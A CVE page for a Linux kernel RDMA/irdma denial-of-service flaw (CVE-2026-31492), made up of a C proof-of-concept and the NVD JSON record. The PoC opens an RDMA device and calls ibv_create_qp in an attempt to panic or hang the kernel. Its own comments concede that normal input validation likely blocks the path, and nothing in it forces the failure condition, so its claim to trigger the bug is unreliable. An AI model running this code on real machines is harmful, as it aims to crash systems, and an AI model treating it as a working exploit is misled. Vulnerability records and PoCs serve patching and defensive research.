CVE-2026-31492

/* * PoC for CVE-2026-31492: Linux Kernel RDMA/irdma Initialization DoS * Reference: https://git.kernel.org/stable/c/11a95521fb93c91e2d4ef9d53dc80ef0a755549b * * Description: * This code attempts to trigger the vulnerability by calling ibv_create_qp. * If the underlying IRDMA driver hits the failure path in ib_copy_to_udata, * it will call irdma_destroy_qp which waits on an uninitialized completion, * leading to a kernel panic or deadlock. * * Compile: gcc -o poc_irdma poc_irdma.c -libverbs */ #include <stdio.h> #include <stdlib.h> #include <infiniband/verbs.h> #include <unistd.h> int main() { struct ibv_device **dev_list; struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_qp *qp; struct ibv_qp_init_attr qp_init_attr; int num_devices; // 1. Get the list of RDMA devices dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices <= 0) { perror("Failed to get RDMA devices"); return 1; } // 2. Open the first device ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); ibv_free_device_list(dev_list); return 1; } // 3. Allocate Protection Domain pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to allocate PD"); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } // 4. Create Completion Queue cq = ibv_create_cq(ctx, 10, NULL, NULL, 0); if (!cq) { perror("Failed to create CQ"); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } // 5. Prepare QP attributes to trigger the path memset(&qp_init_attr, 0, sizeof(qp_init_attr)); qp_init_attr.send_cq = cq; qp_init_attr.recv_cq = cq; qp_init_attr.qp_type = IBV_QPT_RC; qp_init_attr.cap.max_send_wr = 1; qp_init_attr.cap.max_recv_wr = 1; qp_init_attr.cap.max_send_sge = 1; qp_init_attr.cap.max_recv_sge = 1; // 6. Attempt to create QP // The bug is triggered if the copy_to_udata fails inside the kernel. // While standard userspace APIs validate input, specific kernel versions // or driver states might allow hitting the uninitialized completion wait. printf("Attempting to create QP to trigger potential crash...\n"); qp = ibv_create_qp(pd, &qp_init_attr); if (!qp) { // If the kernel bug is triggered, the system may panic here or hang printf("QP creation failed (or kernel panicked).\n"); } else { printf("QP created successfully. System likely patched or conditions not met.\n"); ibv_destroy_qp(qp); } // Cleanup (if we reach here) ibv_destroy_cq(cq); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }

{"cve": {"id": "CVE-2026-31492", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:47.010", "lastModified": "2026-04-28T12:46:35.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/irdma: Initialize free_qp completion before using it\n\nIn irdma_create_qp, if ib_copy_to_udata fails, it will call\nirdma_destroy_qp to clean up which will attempt to wait on\nthe free_qp completion, which is not initialized yet. Fix this\nby initializing the completion before the ib_copy_to_udata call."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14.1", "versionEndExcluding": "6.1.168", "matchCriteriaId": "70E8C815-4965-47D0-8917-D4B88DB19CAA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.14:-:*:*:*:*:*:*", "matchCriteriaId": "6A05198E-F8FA-4517-8D0E-8C95066AED38"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/11a95521fb93c91e2d4ef9d53dc80ef0a755549b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3cb88c12461b71c7d9c604aa2e6a9a477ecfa147", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ac1da7bd224d406b6f1b84414f0f652ab43b6bd8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/af310407f79d5816fc0ab3638e1588b6193316dd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cd1534c8f4984432382c240f6784408497f5bb0a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f72996834f7bdefc2b95e3eec30447ee195df44e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}